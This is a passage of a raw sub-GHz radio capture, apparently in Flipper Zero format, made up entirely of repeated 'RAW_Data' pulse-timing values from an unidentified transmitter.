-126 121 -370 101 -368 91 -380 351 -102 141 -362 105 -336 127 -354 93 -372 127 -340 129 -340 347 -124 337 -126 123 -3710 -RAW_Data: 99 -358 137 -352 105 -336 355 -140 333 -94 357 -138 361 -106 341 -102 133 -352 357 -106 345 -104 361 -94 119 -374 101 -368 93 -394 329 -98 137 -356 107 -370 93 -380 103 -360 139 -338 99 -366 349 -104 369 -94 123 -3696 131 -344 127 -340 129 -338 347 -124 339 -128 337 -128 339 -128 337 -124 125 -346 349 -132 329 -124 337 -128 91 -370 131 -364 93 -378 319 -134 103 -396 105 -334 127 -356 93 -372 95 -372 129 -340 349 -124 337 -130 91 -3736 99 -372 95 -372 97 -372 345 -94 369 -128 339 -96 369 -94 367 -106 141 -362 319 -142 319 -144 331 -94 139 -340 129 -358 93 -390 327 -124 119 -348 139 -334 125 -354 95 -370 129 -340 129 -340 347 -122 337 -128 121 -3704 99 -394 101 -358 107 -368 325 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -92 363 -106 335 -126 121 -352 139 -334 125 -370 331 -132 103 -358 105 -370 93 -392 103 -360 103 -380 105 -336 353 -140 333 -94 139 -3714 99 -360 101 -384 105 -336 355 -140 333 -94 347 -126 337 -128 339 -126 127 -344 355 -140 301 -126 343 -126 121 -370 101 -368 91 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 337 -128 121 -3704 99 -392 103 -358 107 -336 357 -140 335 -94 357 -140 361 -106 341 -102 133 -352 353 -92 365 -104 337 -124 121 -354 137 -334 127 -370 331 -98 135 -358 107 -368 93 -380 103 -360 139 -338 99 -366 351 -138 333 -94 139 -3688 131 -358 103 -382 103 -336 353 -140 335 -94 355 -140 359 -106 343 -102 135 -350 353 -92 363 -106 335 -124 123 -352 139 -334 125 -370 331 -98 137 -358 105 -370 93 -392 103 -360 101 -382 105 -336 353 -140 333 -94 139 -3716 99 -358 103 -384 105 -336 355 -140 333 -94 347 -126 337 -128 339 -126 127 -344 355 -140 301 -126 343 -126 123 -370 101 -368 91 -380 351 -102 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -394 101 -356 105 -368 325 -140 335 -94 359 -138 361 -106 341 -102 135 -348 343 -126 339 -96 369 -94 125 -356 127 -372 97 -372 315 -124 141 -340 135 -334 123 -372 95 -372 97 -372 95 -372 347 -124 359 -106 103 -3726 105 -336 127 -360 93 -390 327 -124 359 -104 359 -108 335 -124 361 -104 103 -386 329 -124 317 -126 369 -98 123 -368 95 -362 123 -374 317 -134 105 -396 105 -334 125 -356 93 -370 129 -340 129 -338 349 -124 337 -128 91 -3736 99 -394 101 -356 107 -336 357 -140 333 -126 327 -138 -RAW_Data: 361 -106 343 -100 135 -350 353 -94 345 -138 335 -128 95 -372 103 -370 93 -396 329 -134 101 -356 107 -368 93 -394 103 -360 103 -380 103 -336 355 -138 335 -126 95 -3708 131 -356 103 -358 141 -334 365 -106 337 -126 329 -140 359 -106 343 -100 135 -348 343 -126 339 -96 369 -94 125 -362 125 -340 129 -340 347 -124 121 -354 139 -336 125 -354 95 -390 103 -358 105 -370 329 -140 337 -126 95 -3710 131 -356 103 -358 143 -334 363 -108 337 -126 329 -140 359 -106 341 -102 135 -352 353 -92 363 -106 335 -126 121 -352 139 -336 125 -354 351 -104 141 -362 105 -336 127 -372 103 -362 103 -382 103 -336 353 -138 335 -94 125 -3706 133 -356 101 -358 143 -334 365 -106 337 -128 329 -140 361 -104 341 -102 135 -352 357 -106 345 -102 363 -92 121 -374 101 -368 93 -396 331 -132 101 -358 105 -370 93 -392 103 -360 103 -382 103 -334 355 -140 333 -96 125 -3712 131 -358 103 -358 105 -370 329 -140 335 -96 393 -106 359 -106 341 -102 135 -352 353 -94 361 -106 337 -124 121 -354 139 -336 125 -354 349 -104 141 -364 105 -334 129 -372 103 -362 103 -382 103 -336 353 -138 333 -94 125 -3706 131 -354 101 -396 105 -334 367 -108 337 -128 319 -124 371 -96 337 -128 125 -344 355 -140 333 -94 345 -126 123 -372 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3704 99 -392 103 -358 107 -368 327 -140 335 -96 357 -140 359 -106 341 -102 135 -352 351 -94 363 -106 337 -124 121 -356 139 -334 125 -354 351 -102 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 351 -140 335 -94 125 -3704 131 -342 129 -338 129 -340 347 -122 341 -126 337 -130 337 -128 335 -126 123 -350 347 -132 331 -122 337 -128 123 -338 131 -366 91 -378 351 -102 141 -362 105 -334 127 -356 95 -370 129 -340 127 -340 347 -124 339 -126 123 -3710 99 -392 103 -356 105 -368 325 -140 335 -94 359 -140 359 -106 341 -102 135 -348 343 -128 337 -128 337 -94 125 -362 125 -340 129 -340 347 -122 123 -356 139 -334 125 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 99 -394 101 -358 107 -368 327 -140 335 -94 357 -140 361 -106 341 -102 135 -350 353 -94 363 -104 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 103 -336 355 -140 333 -94 125 -3704 133 -352 103 -394 105 -336 367 -108 335 -128 319 -126 369 -96 337 -128 127 -342 355 -140 333 -94 347 -126 -RAW_Data: 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3700 133 -358 101 -358 107 -370 329 -140 337 -126 317 -126 369 -96 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 347 -124 339 -126 121 -3704 131 -358 103 -358 105 -370 329 -140 337 -126 317 -124 369 -98 337 -128 125 -344 355 -140 333 -94 345 -126 121 -372 103 -366 93 -380 351 -102 141 -362 107 -334 129 -356 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3710 97 -394 101 -358 105 -368 327 -140 335 -94 357 -140 361 -104 343 -100 135 -352 353 -94 363 -104 337 -124 123 -354 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 131 -360 103 -358 105 -370 327 -140 335 -96 357 -140 359 -106 343 -100 137 -352 353 -94 361 -106 337 -124 121 -354 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -392 101 -358 107 -368 329 -142 335 -126 95 -3712 131 -354 103 -394 105 -336 367 -106 337 -128 317 -126 369 -96 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 337 -128 123 -3708 97 -394 101 -360 105 -336 357 -140 335 -94 359 -140 361 -106 341 -100 135 -352 353 -92 365 -106 335 -124 123 -354 139 -334 125 -356 349 -104 141 -362 105 -336 129 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 131 -340 127 -340 129 -338 349 -124 339 -126 337 -128 339 -126 337 -124 123 -348 347 -134 331 -122 337 -128 121 -338 133 -366 91 -378 351 -102 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3710 99 -392 103 -358 105 -338 357 -140 335 -94 357 -140 361 -104 343 -100 135 -348 343 -126 339 -128 337 -126 93 -360 127 -340 129 -372 315 -122 123 -358 139 -334 125 -356 93 -370 129 -340 129 -338 349 -122 357 -106 139 -3710 103 -376 103 -336 123 -356 327 -124 385 -106 359 -108 335 -96 347 -126 121 -372 353 -104 345 -104 363 -94 139 -340 127 -358 125 -360 327 -122 121 -348 139 -334 125 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3712 99 -394 101 -358 105 -368 325 -140 335 -96 357 -140 361 -106 343 -100 135 -352 353 -92 363 -106 337 -124 121 -356 139 -334 125 -354 351 -104 141 -362 105 -336 -RAW_Data: 127 -356 93 -372 127 -340 129 -340 347 -122 339 -128 121 -3712 99 -392 103 -358 105 -338 357 -140 335 -126 327 -138 325 -140 341 -100 135 -350 343 -128 337 -130 305 -158 95 -362 125 -372 97 -372 317 -124 121 -354 103 -370 125 -368 103 -360 103 -382 103 -336 355 -140 333 -126 95 -3738 97 -352 137 -360 105 -336 371 -108 339 -128 329 -140 325 -142 339 -102 135 -348 355 -106 345 -138 331 -124 109 -372 97 -360 93 -390 329 -124 107 -376 97 -362 93 -390 101 -394 69 -370 95 -386 351 -102 337 -122 123 -3720 99 -348 127 -370 97 -372 345 -124 313 -126 337 -128 339 -128 337 -126 123 -352 349 -132 329 -124 339 -128 91 -370 131 -366 91 -382 317 -134 105 -396 105 -334 127 -356 93 -372 95 -372 129 -340 349 -124 339 -128 91 -3736 99 -392 103 -356 105 -370 325 -140 335 -126 327 -140 361 -104 343 -102 135 -350 353 -94 365 -104 337 -124 121 -354 137 -336 127 -368 331 -132 103 -356 107 -368 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 125 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 329 -138 325 -142 341 -100 135 -350 349 -94 347 -138 335 -128 97 -372 103 -368 93 -398 329 -134 101 -394 69 -370 93 -394 103 -360 101 -380 105 -366 325 -140 333 -126 95 -3704 131 -352 135 -360 105 -336 373 -108 335 -130 319 -126 337 -128 337 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 349 -122 339 -126 123 -3700 131 -340 129 -340 129 -338 349 -122 339 -128 337 -128 339 -126 339 -124 93 -378 349 -130 329 -124 339 -126 93 -368 131 -366 93 -380 317 -134 105 -396 105 -334 127 -358 93 -372 95 -372 129 -340 349 -124 339 -126 93 -3732 99 -392 103 -358 107 -368 327 -140 335 -126 329 -140 359 -106 341 -102 135 -350 357 -106 345 -104 363 -92 121 -374 101 -368 93 -396 331 -132 103 -356 107 -368 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3708 131 -354 103 -394 103 -336 367 -108 339 -128 329 -140 325 -142 339 -102 135 -350 357 -106 345 -102 363 -94 121 -374 101 -368 93 -384 351 -102 141 -362 105 -336 127 -372 105 -360 103 -382 103 -336 353 -140 333 -94 125 -3736 97 -384 101 -360 105 -338 375 -108 339 -128 321 -124 337 -130 337 -128 127 -346 355 -138 301 -126 345 -128 121 -372 101 -364 93 -382 319 -134 105 -398 103 -336 127 -358 93 -370 97 -372 129 -340 347 -124 337 -128 -RAW_Data: 121 -3708 99 -392 103 -358 105 -338 357 -140 337 -126 327 -138 327 -140 341 -100 135 -352 351 -94 367 -104 337 -124 123 -356 137 -334 127 -354 349 -104 141 -362 105 -336 127 -358 95 -370 129 -340 127 -340 349 -122 339 -128 121 -3708 99 -394 101 -358 107 -338 357 -140 335 -96 357 -138 361 -106 343 -100 135 -350 341 -96 369 -96 369 -96 125 -360 127 -340 129 -338 349 -122 123 -354 141 -334 125 -354 125 -340 129 -338 129 -340 347 -124 355 -140 105 -3682 125 -362 141 -332 125 -352 349 -104 335 -122 341 -126 337 -130 337 -128 127 -344 355 -138 303 -124 345 -126 123 -370 101 -368 93 -382 317 -134 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 349 -124 339 -126 123 -3712 97 -394 103 -356 105 -336 357 -140 335 -94 357 -140 361 -106 341 -102 133 -354 351 -94 363 -106 335 -124 123 -354 139 -336 125 -356 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3710 99 -392 103 -358 107 -368 327 -140 335 -94 359 -140 359 -106 341 -102 135 -348 341 -128 337 -128 337 -126 95 -366 137 -362 103 -342 353 -94 123 -372 127 -340 129 -340 127 -340 125 -362 139 -334 363 -108 337 -128 97 -3710 133 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -334 129 -356 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3708 131 -358 101 -358 107 -370 329 -140 335 -94 361 -140 359 -106 343 -102 133 -352 357 -106 345 -102 365 -92 121 -374 101 -368 125 -352 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3712 97 -394 103 -358 105 -370 325 -140 335 -96 359 -140 361 -104 341 -102 135 -348 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 125 -358 139 -334 127 -354 93 -392 101 -358 107 -370 329 -140 337 -126 95 -3710 131 -342 127 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -126 123 -352 349 -132 329 -124 359 -106 103 -386 103 -360 105 -370 347 -106 139 -362 103 -340 137 -334 123 -374 95 -372 97 -372 317 -122 385 -104 105 -3720 101 -380 105 -336 123 -386 325 -124 345 -94 391 -106 357 -108 333 -94 139 -340 375 -106 337 -130 321 -126 121 -370 103 -366 93 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3712 97 -394 101 -358 107 -368 327 -140 335 -94 -RAW_Data: 359 -140 359 -106 341 -102 135 -350 341 -128 337 -128 337 -96 125 -360 127 -372 95 -372 315 -124 123 -356 139 -336 125 -356 93 -372 129 -338 129 -340 347 -124 357 -106 141 -3708 103 -342 137 -336 123 -358 327 -122 387 -106 361 -106 337 -94 347 -126 121 -372 351 -106 345 -102 365 -92 139 -342 127 -360 123 -360 327 -124 119 -348 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3710 99 -394 101 -358 107 -368 325 -140 335 -128 327 -140 361 -106 341 -100 135 -354 353 -92 363 -106 335 -124 123 -354 139 -336 125 -354 351 -104 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 347 -124 339 -126 123 -3706 131 -360 103 -358 107 -368 329 -140 337 -126 329 -138 325 -142 341 -102 135 -350 355 -106 347 -136 329 -94 121 -374 101 -368 93 -398 329 -134 101 -358 107 -368 93 -394 103 -360 101 -384 103 -336 355 -140 333 -124 95 -3710 131 -344 127 -340 129 -338 349 -122 357 -138 325 -142 301 -126 349 -140 105 -360 329 -128 323 -156 339 -128 93 -368 95 -364 123 -378 317 -134 103 -396 69 -370 95 -388 93 -372 95 -372 129 -340 349 -122 339 -126 123 -3700 131 -358 103 -358 105 -370 363 -108 339 -128 317 -126 337 -128 339 -126 127 -346 355 -138 301 -126 345 -126 123 -372 99 -368 93 -380 319 -134 105 -398 105 -334 127 -356 95 -370 129 -340 129 -340 347 -126 339 -128 91 -3734 97 -394 103 -358 105 -370 325 -140 337 -126 329 -140 359 -106 341 -102 135 -352 357 -104 345 -104 363 -94 119 -374 101 -368 93 -398 331 -132 101 -358 107 -368 93 -394 103 -360 103 -382 103 -336 355 -140 333 -94 125 -3738 97 -346 127 -338 131 -338 347 -124 341 -128 337 -128 339 -126 337 -126 125 -350 349 -132 329 -124 339 -128 91 -370 131 -364 93 -380 317 -134 105 -396 105 -334 129 -356 93 -372 95 -372 129 -340 349 -124 339 -126 93 -3736 97 -372 127 -340 129 -340 347 -124 337 -128 337 -128 337 -128 337 -126 123 -344 349 -132 329 -124 337 -128 121 -340 131 -366 91 -380 317 -136 139 -362 105 -336 127 -356 93 -372 129 -338 131 -338 349 -124 337 -128 121 -3712 97 -394 101 -356 107 -338 357 -140 335 -126 317 -126 357 -138 317 -142 105 -360 355 -106 347 -102 363 -94 139 -340 129 -358 93 -390 329 -122 145 -340 97 -364 123 -360 101 -394 105 -334 127 -354 349 -104 335 -124 123 -3728 99 -384 101 -360 105 -338 375 -108 339 -128 321 -126 337 -128 339 -128 127 -346 353 -140 299 -158 -RAW_Data: 315 -126 121 -372 101 -366 93 -382 319 -134 103 -396 105 -334 129 -358 93 -372 97 -372 129 -338 349 -124 337 -128 121 -3704 131 -356 103 -358 141 -336 329 -142 335 -128 317 -126 337 -128 339 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -340 127 -340 347 -124 339 -128 121 -3708 99 -394 101 -358 107 -370 325 -142 335 -126 327 -138 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 95 -362 125 -340 129 -372 315 -124 121 -356 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 357 -104 141 -3714 103 -340 137 -334 123 -358 327 -124 349 -140 361 -106 337 -126 317 -126 123 -370 353 -104 345 -136 331 -94 139 -340 129 -358 93 -392 327 -122 121 -348 137 -336 127 -356 93 -370 129 -340 129 -340 349 -122 341 -126 123 -3702 131 -340 129 -338 129 -340 347 -122 339 -126 337 -130 337 -126 337 -126 123 -350 347 -132 331 -122 337 -128 121 -340 131 -366 91 -380 349 -104 139 -362 107 -334 129 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3708 131 -360 103 -358 107 -368 327 -142 335 -126 327 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -356 107 -370 93 -394 101 -362 103 -382 105 -334 353 -140 335 -94 125 -3738 97 -352 137 -360 103 -338 373 -106 337 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -334 129 -356 93 -370 129 -340 127 -340 347 -124 341 -126 121 -3708 131 -358 101 -358 107 -370 329 -140 337 -128 327 -140 361 -106 341 -102 133 -354 357 -104 345 -104 363 -94 119 -374 101 -370 125 -364 329 -134 101 -358 107 -370 93 -392 103 -360 103 -384 103 -336 353 -140 335 -94 125 -3710 131 -354 101 -396 105 -334 367 -108 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 129 -354 93 -372 129 -338 129 -340 347 -124 339 -126 121 -3704 131 -342 127 -340 129 -340 347 -124 339 -128 337 -128 339 -126 337 -126 123 -348 347 -132 331 -124 337 -126 123 -338 131 -368 91 -380 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 133 -360 101 -358 107 -368 327 -140 335 -126 329 -140 361 -106 341 -102 135 -354 353 -92 363 -104 337 -124 123 -354 139 -334 125 -356 351 -102 141 -362 -RAW_Data: 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3704 131 -356 103 -394 105 -334 365 -108 337 -128 317 -126 369 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -126 327 -140 361 -106 341 -102 135 -354 353 -92 363 -106 337 -124 121 -356 137 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -358 101 -358 143 -334 363 -108 335 -128 329 -140 361 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 101 -358 107 -370 93 -394 101 -362 103 -382 103 -336 355 -138 335 -94 125 -3708 131 -352 103 -394 105 -336 371 -106 337 -128 331 -140 361 -106 341 -102 133 -352 353 -94 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 131 -342 127 -340 129 -340 347 -124 339 -128 337 -128 337 -128 337 -124 123 -348 347 -132 331 -124 337 -126 123 -338 131 -368 91 -378 351 -102 141 -362 107 -334 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 107 -368 327 -140 335 -128 329 -140 361 -104 343 -100 135 -352 353 -94 365 -104 337 -124 121 -356 137 -334 127 -354 351 -104 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3702 131 -344 127 -340 129 -338 349 -122 341 -126 337 -130 337 -128 337 -124 123 -350 347 -132 331 -124 335 -128 121 -340 131 -366 93 -378 351 -102 141 -362 107 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 133 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3702 131 -342 127 -340 129 -338 349 -122 341 -126 337 -128 339 -126 337 -126 123 -350 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 349 -102 141 -364 103 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3702 131 -354 103 -394 105 -336 367 -106 337 -128 321 -124 369 -98 337 -128 125 -344 355 -138 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 347 -124 -RAW_Data: 339 -126 123 -3702 131 -354 103 -394 105 -336 367 -108 337 -126 351 -94 369 -96 337 -130 125 -340 357 -140 335 -94 347 -126 123 -372 101 -366 93 -382 349 -102 141 -364 105 -336 127 -356 93 -370 129 -340 129 -338 347 -124 339 -128 121 -3708 131 -358 103 -358 107 -368 329 -142 335 -128 327 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 93 -396 329 -134 101 -358 107 -370 93 -382 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3702 131 -358 103 -358 107 -370 329 -140 337 -126 319 -124 369 -98 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3714 97 -394 103 -358 105 -370 325 -140 335 -94 393 -106 359 -106 343 -102 135 -354 353 -92 363 -106 335 -124 123 -354 139 -334 125 -356 351 -104 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -122 341 -126 121 -3708 131 -358 101 -358 143 -334 363 -108 335 -128 329 -140 361 -106 341 -100 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 125 -352 351 -102 141 -364 105 -336 127 -358 93 -390 103 -356 143 -334 363 -106 337 -128 95 -3712 133 -354 101 -396 105 -334 367 -106 337 -128 321 -124 369 -98 337 -128 125 -342 357 -140 333 -94 347 -126 123 -372 101 -368 91 -382 349 -102 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 353 -140 335 -94 125 -3708 133 -354 101 -396 105 -334 367 -108 335 -130 365 -106 359 -106 343 -102 135 -352 357 -108 345 -102 363 -92 121 -374 101 -368 125 -364 329 -132 103 -358 143 -334 93 -392 103 -360 103 -384 105 -336 353 -140 335 -94 125 -3708 133 -352 103 -394 105 -336 369 -106 337 -128 349 -94 369 -98 337 -128 125 -342 357 -140 333 -94 379 -94 121 -372 101 -368 125 -350 349 -102 141 -362 105 -336 129 -372 103 -362 103 -382 105 -336 353 -138 335 -94 125 -3706 131 -352 135 -360 105 -336 373 -108 337 -128 321 -124 369 -98 337 -128 127 -340 357 -140 335 -94 377 -94 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 133 -358 101 -358 143 -334 329 -140 337 -126 329 -140 361 -106 341 -100 135 -352 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3708 133 -352 103 -394 105 -336 367 -108 -RAW_Data: 335 -128 351 -94 369 -98 337 -128 125 -374 325 -140 333 -126 317 -126 121 -372 101 -366 93 -384 351 -102 139 -362 105 -336 129 -372 103 -362 103 -380 103 -334 355 -140 333 -126 95 -3734 99 -382 101 -360 105 -372 343 -106 339 -130 351 -94 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 347 -124 339 -128 121 -3714 99 -392 103 -358 105 -370 325 -140 337 -94 359 -140 359 -106 343 -100 135 -348 343 -128 337 -128 337 -126 93 -368 137 -360 103 -344 353 -94 123 -372 129 -338 129 -340 127 -340 125 -362 141 -334 365 -108 335 -128 97 -3716 131 -358 101 -358 143 -334 365 -108 335 -128 329 -140 361 -106 341 -102 133 -348 343 -128 337 -128 337 -126 95 -366 137 -360 103 -344 353 -94 123 -372 129 -340 129 -338 129 -340 125 -362 139 -334 367 -106 337 -128 95 -3712 133 -354 101 -394 105 -336 367 -108 337 -128 365 -106 359 -106 343 -102 135 -354 357 -106 345 -102 363 -94 119 -374 101 -368 125 -352 349 -104 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 353 -140 333 -94 125 -3738 99 -348 137 -360 105 -338 375 -106 337 -128 367 -106 361 -104 343 -102 135 -354 357 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3706 131 -350 137 -360 105 -336 373 -108 337 -128 351 -94 369 -98 337 -128 125 -342 357 -140 333 -94 347 -128 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3702 131 -344 127 -340 129 -340 347 -124 339 -128 337 -128 337 -128 337 -124 125 -348 347 -132 331 -124 337 -126 123 -338 131 -366 93 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3706 133 -356 103 -358 141 -334 365 -108 335 -128 329 -140 361 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -370 91 -394 103 -360 103 -382 105 -336 353 -140 333 -94 125 -3710 133 -352 103 -394 105 -334 371 -106 337 -128 331 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3734 99 -382 103 -360 105 -370 343 -106 337 -130 353 -94 369 -96 339 -128 125 -342 355 -140 -RAW_Data: 335 -94 379 -94 121 -372 101 -368 91 -384 349 -104 141 -364 103 -336 127 -356 93 -372 127 -340 129 -340 347 -122 341 -126 123 -3712 99 -394 101 -358 107 -368 327 -142 333 -128 327 -140 361 -106 341 -102 135 -354 353 -92 363 -106 335 -124 123 -354 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3704 131 -342 129 -338 129 -340 347 -124 341 -126 337 -130 337 -128 337 -124 125 -348 347 -132 331 -124 337 -126 123 -338 133 -366 93 -378 349 -104 141 -362 103 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3714 99 -392 103 -358 107 -368 327 -140 335 -126 347 -94 357 -138 357 -106 105 -360 359 -106 345 -104 363 -92 121 -372 101 -370 123 -366 331 -132 101 -358 107 -370 93 -392 103 -360 103 -384 103 -336 355 -140 333 -94 125 -3736 99 -346 127 -372 95 -372 315 -124 343 -126 369 -96 339 -128 337 -124 125 -350 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 349 -104 141 -362 105 -334 129 -372 103 -362 103 -382 103 -336 353 -140 333 -94 127 -3736 97 -350 137 -360 105 -368 345 -106 337 -130 351 -94 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 103 -366 93 -380 351 -104 141 -362 105 -334 129 -354 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -126 329 -140 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -368 137 -360 103 -344 353 -94 123 -372 129 -338 129 -340 127 -340 125 -362 139 -336 363 -108 337 -128 97 -3716 131 -356 103 -358 141 -334 365 -108 335 -128 365 -104 361 -106 343 -102 135 -348 343 -126 339 -128 337 -126 93 -360 127 -370 97 -372 315 -124 123 -360 139 -334 127 -354 125 -340 127 -340 129 -340 347 -124 355 -140 105 -3714 101 -378 103 -336 123 -356 357 -92 383 -106 359 -108 337 -128 321 -124 123 -370 353 -106 345 -104 365 -94 139 -340 129 -358 93 -372 349 -132 101 -396 105 -334 127 -352 95 -370 129 -340 127 -340 349 -122 339 -126 123 -3710 99 -394 101 -358 107 -368 327 -140 335 -94 359 -140 359 -106 343 -102 135 -354 351 -94 363 -106 335 -124 123 -354 139 -334 127 -356 349 -104 141 -364 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -358 141 -336 365 -108 335 -128 329 -140 361 -106 341 -102 135 -350 357 -106 345 -104 363 -92 121 -374 103 -368 125 -350 351 -104 -RAW_Data: 141 -362 105 -336 127 -358 93 -390 101 -358 107 -370 331 -140 335 -128 95 -3714 131 -354 101 -394 105 -336 367 -108 335 -130 321 -124 369 -98 337 -128 125 -374 325 -140 333 -126 317 -126 121 -372 101 -368 93 -382 319 -134 139 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3702 131 -342 127 -340 129 -338 347 -124 371 -94 369 -98 337 -126 337 -126 123 -352 345 -134 331 -122 337 -128 121 -338 133 -366 93 -380 349 -102 141 -364 105 -336 127 -356 93 -370 129 -340 129 -338 347 -124 339 -128 121 -3708 131 -358 101 -358 143 -334 363 -108 337 -94 395 -106 361 -106 341 -102 135 -352 359 -106 347 -102 361 -94 121 -370 139 -332 125 -364 331 -98 137 -358 143 -334 93 -392 103 -360 103 -384 103 -336 353 -140 335 -94 125 -3734 97 -384 103 -360 105 -368 345 -106 337 -128 353 -94 369 -98 337 -128 125 -342 357 -140 333 -94 379 -94 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 349 -122 339 -128 121 -554388 171 -330 123 -354 125 -338 349 -132 331 -124 337 -126 339 -128 337 -126 127 -350 349 -104 335 -124 339 -128 121 -370 101 -368 91 -380 349 -102 